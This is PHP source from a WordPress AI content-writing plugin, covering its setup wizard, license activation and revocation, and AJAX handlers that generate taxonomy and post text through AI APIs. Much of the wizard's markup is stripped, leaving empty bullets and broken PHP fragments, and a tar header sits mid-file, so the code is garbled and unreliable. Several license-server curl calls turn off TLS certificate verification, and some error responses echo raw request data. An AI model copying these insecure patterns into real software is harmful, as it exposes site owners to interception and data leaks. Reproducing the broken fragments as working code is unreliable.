'Invalid json from purchase code verification: ' . print_r($result, true)); } } curl_close($ch); } else { aiomatic_log_to_file('Failed to init curl when trying to make purchase verification.'); update_option('aiomatic_activation_status', 'Failed to init curl when trying to make purchase verification'); } } } if(isset($_POST[$plugin_slug . '_revoke_license_setup']) && trim($_POST[$plugin_slug . '_revoke_license_setup']) != '' && isset($_POST['aiomatic_nonce_setup']) && wp_verify_nonce( $_POST['aiomatic_nonce_setup'], 'openai-secret-nonce')) { $ch = curl_init('https://wpinitiate.com/verify-purchase/revoke.php'); if($ch !== false) { $data = array(); $data['siteURL'] = get_bloginfo('url'); $fdata = ""; foreach ($data as $key => $val) { $fdata .= "$key=" . urlencode(trim($val)) . "&"; } curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $fdata); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 60); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $result = curl_exec($ch); if($result === false) { aiomatic_log_to_file('Failed to revoke verification response: ' . curl_error($ch)); update_option($plugin_slug . '_registration', false); } else { update_option($plugin_slug . '_registration', false); } } else { aiomatic_log_to_file('Failed to init curl to revoke verification response.'); update_option('aiomatic_activation_status', 'Failed to init curl to revoke verification response.'); } } ob_start(); $this->setup_wizard_header(); $this->setup_wizard_steps($aiomatic_Main_Settings); $this->setup_wizard_content(); $this->setup_wizard_footer(); exit; } public function get_next_step_link() { $keys = array_keys( $this->steps ); return add_query_arg( 'step', $keys[ array_search( $this->step, array_keys( $this->steps ) ) + 1 ], remove_query_arg( 'translation_updated' ) ); } public function get_prev_step_link() { $keys = array_keys( $this->steps ); return add_query_arg( 'step', $keys[ array_search( $this->step, array_keys( $this->steps ) ) - 1 ], remove_query_arg( 'translation_updated' ) ); } public function setup_wizard_header() { ?> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>> <head> <meta name="viewport" content="width=device-width" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title><?php esc_html_e( 'Aiomatic Quick Setup & Tutorial', 'aiomatic-automatic-ai-content-writer' ); ?>

            steps; ?>
              $step ) : ?>
            1. step == 'intro' || $this->step == 'activation') && $step_key !== 'intro' && $step_key != 'activation'){ echo ' href="#" ';}else{?>href=>
            '; call_user_func( $this->steps[ $this->step ]['view'] ); echo ''; } public function next_step_buttons($first = false, $required = false, $show_save = false, $no_go = false) { ?>

            get_prev_step_link() ) . '" class="button button-large button-next">' . esc_html__( 'Back', 'aiomatic-automatic-ai-content-writer' ) . ''; } echo '' . esc_html__( 'Abort', 'aiomatic-automatic-ai-content-writer' ) . ''; wp_nonce_field( 'aiomatic_admin_settings' ); ?>

            •  
            •  
            •  


            • AiomaticAPI, OpenAI or Microsoft Azure OpenAI (whichever you prefer). Other, secondary AI services will also be able to be used in the plugin, like: Anthropic (Claude), Google AI Studio (Gemini Pro), Perplexity AI, HuggingFaceAI or OpenRouter - each will provide a set of AI models for use in the plugin.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), "https://aiomaticapi.com/api-keys/", "https://platform.openai.com/api-keys", "https://portal.azure.com/?microsoft_azure_marketplace_ItemHideKey=microsoft_openai_tip#home" );?>

            • \'Welcome\' tab, where you will be able to access this wizard again in the future.', 'aiomatic-automatic-ai-content-writer' );?>

              

             

            • renew it to continue receiving support for the plugin. After you renewed support, please click the "Revoke License" button, from the plugin\'s "Settings" menu -> "Plugin Activation" tab and add your license key again, to activate the plugin with the renewed support license.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), '//codecanyon.net/item/aiomatic-automatic-ai-content-writer/38877369/support');?>

            ">

            "> ' . esc_html__("Failed to change the plugin license status: ", 'aiomatic-automatic-ai-content-writer') . esc_html($last_action) . ''; } ?>

            this tutorial. Info submitted to the registration server consists of: purchase code, site URL, site name, admin email. All these data will be used strictly for registration purposes.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), '//coderevolution.ro/knowledge-base/faq/how-do-i-find-my-items-purchase-code-for-plugin-license-activation/' ); ?>
            " class="cr_width_full">
            "/>
            next_step_buttons(true, true); } else { $this->next_step_buttons(true, true, false, true); } ?>



             

             



             




             

             

             




             




             




             




             




             

            •  
            •  
            •  



            next_step_buttons(); ?>


            •  
            •  
            •  
            •  

             

             

            •  
            •  
            •  
            •  

             

            •  
            •  



            next_step_buttons(); ?>
            ';esc_html_e( 'AI Forms', 'aiomatic-automatic-ai-content-writer' ); echo '" tab.'; ?>


            this detailed step-by-step tutorial and also this tutorial video for info on setup and usage of Microsoft Azure OpenAI API in Aiomatic.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-setup-microsoft-azure-api-in-aiomatic/', 'https://www.youtube.com/watch?v=56ZHp2B4qgY' );?>
            here. For AiomaticAPI, get your API key here. For Azure, get your API key here.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://platform.openai.com/api-keys', 'https://aiomaticapi.com/pricing/', 'https://portal.azure.com/?microsoft_azure_marketplace_ItemHideKey=microsoft_openai_tip#home' ); ?>
            OpenAI / AiomaticAPI  ' . $call_count . ''; } } } ?>
            Microsoft Azure Services panel.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://portal.azure.com/?microsoft_azure_marketplace_ItemHideKey=microsoft_openai_tip#home' ); ?>
            " value="">

            :

            Microsoft Azure Services panel.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_html($model), 'https://portal.azure.com/?microsoft_azure_marketplace_ItemHideKey=microsoft_openai_tip#home' ); ?>
            " value="">

            here.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://console.anthropic.com/account/keys' ); ?>
            Anthropic Claude 
            here.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://aistudio.google.com/app/apikey' ); ?>
            Google AI Studio AI 
            here.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://www.perplexity.ai/settings/api' ); ?>
            Perplexity AI 
            here.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://openrouter.ai/keys' ); ?>
            OpenRouter AI 
            here.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://huggingface.co/settings/tokens' ); ?>
            HuggingFace AI 
            next_step_buttons(false, true, true); ?>
            ';esc_html_e( 'API Keys', 'aiomatic-automatic-ai-content-writer' ); echo '" tab.'; ?>


             

            •  

              •  
              •  
              •  
              •  



             



             

            •  
            •  
            •  

            •  
            •  

            •  
            •  

            •  
            •  
            •  



             

            •  
            •  
            •  
            •  



             

            •  
            •  
            •  
            •  
            •  



             

            •  
            •  
            •  



             



             



             



             



             



             



            next_step_buttons(); ?>


             

             

             

             

             , ,

             

             

             

             

             

             

             

             

             

            next_step_buttons(); ?>
            ';esc_html_e( 'AI Playground', 'aiomatic-automatic-ai-content-writer' ); echo '" tab.'; ?>


            aiomatic_update_site_settings('activation'); wp_redirect( esc_url_raw( $this->get_next_step_link() ) ); exit; } public function setup_step_api_save() { check_admin_referer( 'aiomatic_admin_settings' ); $this->aiomatic_update_site_settings('apikeys'); wp_redirect( esc_url_raw( $this->get_next_step_link() ) ); exit; } public function setup_step_content_save() { check_admin_referer( 'aiomatic_admin_settings' ); $this->aiomatic_update_site_settings('content'); wp_redirect( esc_url_raw( $this->get_next_step_link() ) ); exit; } public function setup_step_forms_save() { check_admin_referer( 'aiomatic_admin_settings' ); $this->aiomatic_update_site_settings('forms'); wp_redirect( esc_url_raw( $this->get_next_step_link() ) ); exit; } public function setup_step_playground_save() { check_admin_referer( 'aiomatic_admin_settings' ); $this->aiomatic_update_site_settings('playground'); wp_redirect( esc_url_raw( $this->get_next_step_link() ) ); exit; } public function setup_step_more_save() { check_admin_referer( 'aiomatic_admin_settings' ); $this->aiomatic_update_site_settings('more'); wp_redirect( esc_url_raw( $this->get_next_step_link() ) ); exit; } public function setup_step_chatbot_save() { check_admin_referer( 'aiomatic_admin_settings' ); $this->aiomatic_update_site_settings('chatbot'); wp_redirect( esc_url_raw( $this->get_next_step_link() ) ); exit; } public function setup_step_editor_save() { check_admin_referer( 'aiomatic_admin_settings' ); $this->aiomatic_update_site_settings('wizplug'); wp_redirect( esc_url_raw( $this->get_next_step_link() ) ); exit; } public function setup_step_chatbot() { ?>


             

            •  
            •  
            •  
            •  

             

            •  
            •   .

            'yes', 'temperature' => '', 'top_p' => '', 'presence_penalty' => '', 'frequency_penalty' => '', 'model' => '', 'instant_response' => '', 'show_in_window' => 'off' ); echo aiomatic_chat_shortcode($preview_settings); ?>



            next_step_buttons(); ?>
            ';esc_html_e( 'AI Chatbot', 'aiomatic-automatic-ai-content-writer' ); echo '" menu.'; ?>



             

            •  
            •  
            •  
            •  
            •  
            •  
            •  
            •  
            •  
            •  

             

            •  
            •  
            •  
            •  

             

            •  
            •  



            next_step_buttons(); ?>
            ';esc_html_e( 'AI Content Editor', 'aiomatic-automatic-ai-content-writer' ); echo '" menu.'; ?>


             

            •  
            •  
            •  
            •  

            •  
            •   CodeRevolutionTV @YouTube
            •  
            •  Aiomatic's Update Ideas Boad , where you will be able to vote for new features and also leave your own new feature ideas, to be implemented and added in new plugin updates.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), "https://trello.com/b/2yxVZapo/aiomatic-feature-ideas" ); ?>

            support system is ready to help you with any questions or issues you might encounter. Don't hesitate to reach out!", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), "https://coderevolution.ro/support" ); ?>

            $save_value) { $aiomatic_Main_Settings[$save_option] = $save_value; $change_done = true; } if($change_done == true) { update_option('aiomatic_Main_Settings', $aiomatic_Main_Settings); } } } } }aiomatic-ajax-actions.php000064400002532505147577714370011464 0ustar00 'Incorrect query sent (tag_ID)' . print_r($_POST, true) ) ); exit; } $tag_ID = $_POST['tag_ID']; if(!isset($_POST['taxonomy'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (taxonomy)' . print_r($_POST, true) ) ); exit; } $taxonomy = $_POST['taxonomy']; $my_term = get_term_by('id', $tag_ID, $taxonomy); if($my_term == false) { wp_send_json_error( array( 'message' => 'Taxonomy ID not found: ' . print_r($tag_ID, true) ) ); exit; } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { wp_send_json_error( array( 'message' => 'You need to enter an OpenAI API key in plugin settings!' ) ); } if (isset($aiomatic_Main_Settings['tax_description_prompt']) && trim($aiomatic_Main_Settings['tax_description_prompt']) != '') { $prompt = trim($aiomatic_Main_Settings['tax_description_prompt']); } else { $prompt = 'Write a description for a WordPress %%term_taxonomy_name%% with the following title: "%%term_name%%"'; } if (isset($aiomatic_Main_Settings['tax_description_model']) && trim($aiomatic_Main_Settings['tax_description_model']) != '') { $model = trim($aiomatic_Main_Settings['tax_description_model']); } else { $model = get_default_model_name($aiomatic_Main_Settings); } if (isset($aiomatic_Main_Settings['tax_assistant_id']) && trim($aiomatic_Main_Settings['tax_assistant_id']) != '') { $tax_assistant_id = trim($aiomatic_Main_Settings['tax_assistant_id']); } else { $tax_assistant_id = ''; } $all_models = aiomatic_get_all_models(true); if(!in_array($model, $all_models)) { $model = get_default_model_name($aiomatic_Main_Settings); } $new_post_content = ''; $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $prompt = str_replace('%%term_id%%', $my_term->term_id, $prompt); $prompt = str_replace('%%term_name%%', $my_term->name, $prompt); $prompt = str_replace('%%term_slug%%', $my_term->slug, $prompt); $prompt = str_replace('%%term_description%%', $my_term->description, $prompt); $prompt = str_replace('%%term_taxonomy_name%%', $my_term->taxonomy, $prompt); $prompt = str_replace('%%term_taxonomy_id%%', $my_term->term_taxonomy_id, $prompt); $query_token_count = count(aiomatic_encode($prompt)); $max_tokens = aiomatic_get_max_tokens($model); $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $prompt, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($prompt); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $aicontent = aiomatic_substr($prompt, 0, $string_len); $aicontent = trim($aicontent); if(empty($aicontent)) { wp_send_json_error( array( 'message' => 'Incorrect prompt provided!' ) ); exit; } $query_token_count = count(aiomatic_encode($aicontent)); $available_tokens = $max_tokens - $query_token_count; } $thread_id = ''; $aierror = ''; $finish_reason = ''; $generated_text = aiomatic_generate_text($token, $model, $prompt, $available_tokens, 1, 1, 0, 0, false, 'taxonomyDescriptionWriter', 0, $finish_reason, $aierror, false, false, false, '', '', 'user', $tax_assistant_id, $thread_id, '', 'disabled', '', false); if($generated_text === false) { wp_send_json_error( array( 'message' => 'Failed to generate AI content: ' . $aierror) ); exit; } else { $new_post_content = aiomatic_sanitize_ai_result($generated_text); } do_action('aiomatic_tax_description_reply', $new_post_content); wp_send_json_success( array('content' => $new_post_content) ); die(); } add_action('wp_ajax_aiomatic_activation', 'aiomatic_activation'); function aiomatic_activation() { $code = $_POST['code']; $nonce = $_POST['nonce']; if(!wp_verify_nonce( $nonce, 'activation-secret-nonce')) { echo 'You are not allowed to do this action!'; die(); } $plugin = plugin_basename(__FILE__); $plugin_slug = explode('/', $plugin); $plugin_slug = $plugin_slug[0]; if(strlen(trim($code)) != 36 || strstr($code, '-') == false) { aiomatic_log_to_file('Invalid registration code submitted: ' . $code); echo 'Invalid registration code submitted!'; die(); } else { $ch = curl_init('https://wpinitiate.com/verify-purchase/purchase.php'); if($ch !== false) { $data = array(); $data['code'] = trim($code); $data['siteURL'] = get_bloginfo('url'); $data['siteName'] = get_bloginfo('name'); $data['siteEmail'] = get_bloginfo('admin_email'); $fdata = ""; foreach ($data as $key => $val) { $fdata .= "$key=" . urlencode(trim($val)) . "&"; } curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $fdata); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 60); $result = curl_exec($ch); if($result === false) { curl_close($ch); aiomatic_log_to_file('Failed to get verification response: ' . curl_error($ch)); echo 'Failed to get verification response: ' . curl_error($ch); die(); } else { $rj = json_decode($result, true); if(isset($rj['error'])) { echo $rj['error']; die(); } elseif(isset($rj['item_name'])) { $rj['code'] = $code; if($rj['item_id'] == '38877369' || $rj['item_id'] == '13371337' || $rj['item_id'] == '19200046') { update_option($plugin_slug . '_registration', $rj); } else { aiomatic_log_to_file('Invalid response from purchase code verification (are you sure you inputted the right purchase code?): ' . print_r($rj, true)); echo 'Invalid response from purchase code verification (are you sure you inputted the right purchase code?): ' . print_r($rj, true); die(); } } else { aiomatic_log_to_file('Invalid json from purchase code verification: ' . print_r($result, true)); echo 'Invalid json from purchase code verification: ' . print_r($result, true); die(); } } curl_close($ch); } else { aiomatic_log_to_file('Failed to init curl when trying to make purchase verification.'); echo 'Failed to init curl!'; die(); } } echo 'ok'; die(); } add_action('wp_ajax_aiomatic_revoke', 'aiomatic_revoke'); function aiomatic_revoke() { $nonce = $_POST['nonce']; if(!wp_verify_nonce($nonce, 'activation-secret-nonce')) { echo 'You are not allowed to do this action!'; die(); } $plugin = plugin_basename(__FILE__); $plugin_slug = explode('/', $plugin); $plugin_slug = $plugin_slug[0]; $ch = curl_init('https://wpinitiate.com/verify-purchase/revoke.php'); if($ch !== false) { $data = array(); $data['siteURL'] = get_bloginfo('url'); $purchase_code = ''; $uoptions = array(); aiomatic_is_activated($plugin_slug, $uoptions); if(isset($uoptions['code'])) { $purchase_code = $uoptions['code']; } if(!empty($purchase_code)) { $data['purchaseCode'] = $purchase_code; } $fdata = ""; foreach ($data as $key => $val) { $fdata .= "$key=" . urlencode(trim($val)) . "&"; } curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $fdata); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 60); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $result = curl_exec($ch); if($result === false) { update_option($plugin_slug . '_registration', false); } else { update_option($plugin_slug . '_registration', false); } } else { aiomatic_log_to_file('Failed to init curl to revoke verification response.'); echo 'Failed to init curl!'; die(); } echo 'ok'; die(); } add_action( 'wp_ajax_aiomatic_write_tax_description_manual', 'aiomatic_write_tax_description_manual' ); function aiomatic_write_tax_description_manual() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['tax_description_manual']) && trim($aiomatic_Main_Settings['tax_description_manual']) != '') { $taxonomy = trim($aiomatic_Main_Settings['tax_description_manual']); } else { $taxonomy = 'category'; } if (isset($aiomatic_Main_Settings['max_tax_nr']) && trim($aiomatic_Main_Settings['max_tax_nr']) != '') { $max_tax_nr = intval(trim($aiomatic_Main_Settings['max_tax_nr'])); } else { $max_tax_nr = 5; } if (isset($aiomatic_Main_Settings['overwite_tax']) && trim($aiomatic_Main_Settings['overwite_tax']) == 'on') { $overwite_tax = true; } else { $overwite_tax = false; } if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { wp_send_json_error( array( 'message' => 'You need to enter an OpenAI API key in plugin settings!' ) ); } if (isset($aiomatic_Main_Settings['tax_description_prompt']) && trim($aiomatic_Main_Settings['tax_description_prompt']) != '') { $prompt = trim($aiomatic_Main_Settings['tax_description_prompt']); } else { $prompt = 'Write a description for a WordPress %%term_taxonomy_name%% with the following title: "%%term_name%%"'; } if (isset($aiomatic_Main_Settings['tax_description_model']) && trim($aiomatic_Main_Settings['tax_description_model']) != '') { $model = trim($aiomatic_Main_Settings['tax_description_model']); } else { $model = get_default_model_name($aiomatic_Main_Settings); } if (isset($aiomatic_Main_Settings['tax_assistant_id']) && trim($aiomatic_Main_Settings['tax_assistant_id']) != '') { $tax_assistant_id = trim($aiomatic_Main_Settings['tax_assistant_id']); } else { $tax_assistant_id = ''; } $all_models = aiomatic_get_all_models(true); if(!in_array($model, $all_models)) { $model = get_default_model_name($aiomatic_Main_Settings); } $new_post_content = ''; $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $args = array( 'taxonomy' => $taxonomy, 'hide_empty' => false, 'number' => 0, ); $filtered_terms = []; $terms = get_terms($args); if (!empty($terms) && !is_wp_error($terms)) { foreach ($terms as $term) { if($overwite_tax === true) { $filtered_terms[] = $term; if (count($filtered_terms) >= $max_tax_nr) break; } else { if (empty($term->description)) { $filtered_terms[] = $term; if (count($filtered_terms) >= $max_tax_nr) break; } } } } else { if(is_wp_error($terms)) { wp_send_json_error( array( 'message' => 'An error occurred: ' . $terms->get_error_message()) ); exit; } wp_send_json_error( array( 'message' => 'No ' . $taxonomy . ' terms found without a description.' ) ); exit; } if(count($filtered_terms) == 0) { wp_send_json_error( array( 'message' => 'No ' . $taxonomy . ' tax terms found without a description.' ) ); exit; } foreach ($filtered_terms as $my_term) { $thisprompt = str_replace('%%term_id%%', $my_term->term_id, $prompt); $thisprompt = str_replace('%%term_name%%', $my_term->name, $thisprompt); $thisprompt = str_replace('%%term_slug%%', $my_term->slug, $thisprompt); $thisprompt = str_replace('%%term_description%%', $my_term->description, $thisprompt); $thisprompt = str_replace('%%term_taxonomy_name%%', $my_term->taxonomy, $thisprompt); $thisprompt = str_replace('%%term_taxonomy_id%%', $my_term->term_taxonomy_id, $thisprompt); $query_token_count = count(aiomatic_encode($thisprompt)); $max_tokens = aiomatic_get_max_tokens($model); $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $thisprompt, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($thisprompt); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $aicontent = aiomatic_substr($thisprompt, 0, $string_len); $aicontent = trim($aicontent); if(empty($aicontent)) { wp_send_json_error( array( 'message' => 'Incorrect prompt provided!' ) ); exit; } $query_token_count = count(aiomatic_encode($aicontent)); $available_tokens = $max_tokens - $query_token_count; } $thread_id = ''; $aierror = ''; $finish_reason = ''; $generated_text = aiomatic_generate_text($token, $model, $thisprompt, $available_tokens, 1, 1, 0, 0, false, 'taxonomyDescriptionWriter', 0, $finish_reason, $aierror, false, false, false, '', '', 'user', $tax_assistant_id, $thread_id, '', 'disabled', '', false); if($generated_text === false) { wp_send_json_error( array( 'message' => 'Failed to generate AI content: ' . $aierror) ); exit; } else { $new_post_content = aiomatic_sanitize_ai_result($generated_text); } do_action('aiomatic_tax_description_reply', $new_post_content); $args = array( 'description' => $new_post_content, ); $updated_term = wp_update_term($my_term->term_id, $taxonomy, $args); if (is_wp_error($updated_term)) { wp_send_json_error( array( 'message' => 'An error occurred when updating taxonomy description: ' . $updated_term->get_error_message() ) ); exit; } if (isset($aiomatic_Main_Settings['tax_seo_auto'])) { if($aiomatic_Main_Settings['tax_seo_auto'] == 'copy') { aiomatic_save_term_seo_description($my_term->term_id, $new_post_content, $taxonomy); } elseif($aiomatic_Main_Settings['tax_seo_auto'] == 'write') { $xdescription = aiomatic_auto_write_tax_SEO_description($my_term->term_id, $taxonomy); if(!empty($xdescription)) { aiomatic_save_term_seo_description($my_term->term_id, $xdescription, $taxonomy); } } } } wp_send_json_success( array('content' => 'ok') ); die(); } add_action( 'wp_ajax_aiomatic_refresh_ollama_models', 'aiomatic_refresh_ollama_models' ); function aiomatic_refresh_ollama_models() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['ollama_url']) || trim($aiomatic_Main_Settings['ollama_url']) == '') { wp_send_json_error(array( 'message' => 'You need to enter an Ollama API URl for this to work!')); exit; } $llama_models = aiomatic_get_ollama_models(true); if($llama_models !== false) { wp_send_json_success( array('data' => $llama_models) ); die(); } else { wp_send_json_error(array( 'message' => 'Failed to get Ollama models list.')); die(); } } function aiomatic_write_aicontent_info() { check_ajax_referer('openai-ajax-nonce', 'nonce'); if(!isset($_POST['step'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (step)' . print_r($_POST, true) ) ); exit; } $step = $_POST['step']; if(!isset($_POST['title'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (title)' . print_r($_POST, true) ) ); exit; } $title = $_POST['title']; if(!isset($_POST['model'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (model)' . print_r($_POST, true) ) ); exit; } $model = $_POST['model']; if(!isset($_POST['assistant_id'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (assistant_id)' . print_r($_POST, true) ) ); exit; } $assistant_id = $_POST['assistant_id']; if(!isset($_POST['titlep'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (titlep)' . print_r($_POST, true) ) ); exit; } $titlep = $_POST['titlep']; if(!isset($_POST['seop'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (seop)' . print_r($_POST, true) ) ); exit; } $seop = $_POST['seop']; if(!isset($_POST['contentp'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (contentp)' . print_r($_POST, true) ) ); exit; } $contentp = $_POST['contentp']; if(!isset($_POST['shortp'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (shortp)' . print_r($_POST, true) ) ); exit; } $shortp = $_POST['shortp']; if(!isset($_POST['tagp'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (tagp)' . print_r($_POST, true) ) ); exit; } $tagp = $_POST['tagp']; if(!isset($_POST['prod_title'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (prod_title)' . print_r($_POST, true) ) ); exit; } $prod_title = $_POST['prod_title']; if(!isset($_POST['prod_content'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (prod_content)' . print_r($_POST, true) ) ); exit; } $prod_content = $_POST['prod_content']; if(!isset($_POST['prod_excerpt'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (prod_excerpt)' . print_r($_POST, true) ) ); exit; } $prod_excerpt = $_POST['prod_excerpt']; if(!isset($_POST['post_type'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (post_type)' . print_r($_POST, true) ) ); exit; } $post_type = $_POST['post_type']; if(!isset($_POST['post_id'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (post_id)' . print_r($_POST, true) ) ); exit; } $post_id = $_POST['post_id']; if(!empty($step)) { if($step == 'title') { $prompt = $titlep; } elseif($step == 'meta') { $prompt = $seop; } elseif($step == 'description') { $prompt = $contentp; } elseif($step == 'short') { $prompt = $shortp; } elseif($step == 'tags') { $prompt = $tagp; } else { wp_send_json_error( array( 'message' => 'Incorrect step sent' . print_r($step, true) ) ); exit; } } else { wp_send_json_error( array( 'message' => 'Empty content sent' . print_r($_POST, true) ) ); exit; } if(empty($prompt)) { wp_send_json_error( array( 'message' => 'Empty prompt sent' . print_r($_POST, true) ) ); exit; } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { wp_send_json_error( array( 'message' => 'You need to enter an OpenAI API key in plugin settings!' ) ); } $all_models = aiomatic_get_all_models(true); if(!in_array($model, $all_models)) { $model = get_default_model_name($aiomatic_Main_Settings); } $new_post_content = ''; $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $prompt = str_replace('%%post_title_idea%%', $title, $prompt); $prompt = str_replace('%%post_title%%', $prod_title, $prompt); $prompt = str_replace('%%post_excerpt%%', $prod_excerpt, $prompt); $prompt = str_replace('%%post_content%%', $prod_content, $prompt); $prompt = str_replace('%%post_type%%', $post_type, $prompt); $prompt = str_replace('%%random_sentence%%', aiomatic_random_sentence_generator(), $prompt); $prompt = str_replace('%%random_sentence2%%', aiomatic_random_sentence_generator(false), $prompt); $prompt = aiomatic_replaceSynergyShortcodes($prompt); if (isset($aiomatic_Main_Settings['custom_html'])) { $prompt = str_replace('%%custom_html%%', $aiomatic_Main_Settings['custom_html'], $prompt); } if (isset($aiomatic_Main_Settings['custom_html2'])) { $prompt = str_replace('%%custom_html2%%', $aiomatic_Main_Settings['custom_html2'], $prompt); } if($post_id != '') { preg_match_all('#%%!([^!]*?)!%%#', $prompt, $matched_content); if(isset($matched_content[1][0])) { foreach($matched_content[1] as $mc) { $post_custom_data = get_post_meta($post_id, $mc, true); if($post_custom_data != '') { $prompt = str_replace('%%!' . $mc . '!%%', $post_custom_data, $prompt); } else { $prompt = str_replace('%%!' . $mc . '!%%', '', $prompt); } } } preg_match_all('#%%!!([^!]*?)!!%%#', $prompt, $matched_content); if(isset($matched_content[1][0])) { foreach($matched_content[1] as $mc) { $ctaxs = ''; $terms = get_the_terms( $post_id, $mc ); if ( ! empty( $terms ) && ! is_wp_error( $terms ) ) { $ctaxs_arr = array(); foreach ( $terms as $term ) { $ctaxs_arr[] = $term->slug; } $ctaxs = implode(',', $ctaxs_arr); } if($post_custom_data != '') { $prompt = str_replace('%%!!' . $mc . '!!%%', $ctaxs, $prompt); } else { $prompt = str_replace('%%!!' . $mc . '!!%%', '', $prompt); } } } } else { preg_match_all('#%%!([^!]*?)!%%#', $prompt, $matched_content); if(isset($matched_content[1][0])) { foreach($matched_content[1] as $mc) { $prompt = str_replace('%%!' . $mc . '!%%', '', $prompt); } } preg_match_all('#%%!!([^!]*?)!!%%#', $prompt, $matched_content); if(isset($matched_content[1][0])) { foreach($matched_content[1] as $mc) { $prompt = str_replace('%%!!' . $mc . '!!%%', '', $prompt); } } } if ( is_user_logged_in() ) { $user_id = get_current_user_id(); if($user_id !== 0) { preg_match_all('#%%~([^!]*?)~%%#', $prompt, $matched_content); if(isset($matched_content[1][0])) { foreach($matched_content[1] as $mc) { $post_custom_data = get_user_meta($user_id, $mc, true); if($post_custom_data != '') { $prompt = str_replace('%%~' . $mc . '~%%', $post_custom_data, $prompt); } else { $prompt = str_replace('%%~' . $mc . '~%%', '', $prompt); } } } } else { preg_match_all('#%%~([^!]*?)~%%#', $prompt, $matched_content); if(isset($matched_content[1][0])) { foreach($matched_content[1] as $mc) { $prompt = str_replace('%%~' . $mc . '~%%', '', $prompt); } } } } else { preg_match_all('#%%~([^!]*?)~%%#', $prompt, $matched_content); if(isset($matched_content[1][0])) { foreach($matched_content[1] as $mc) { $prompt = 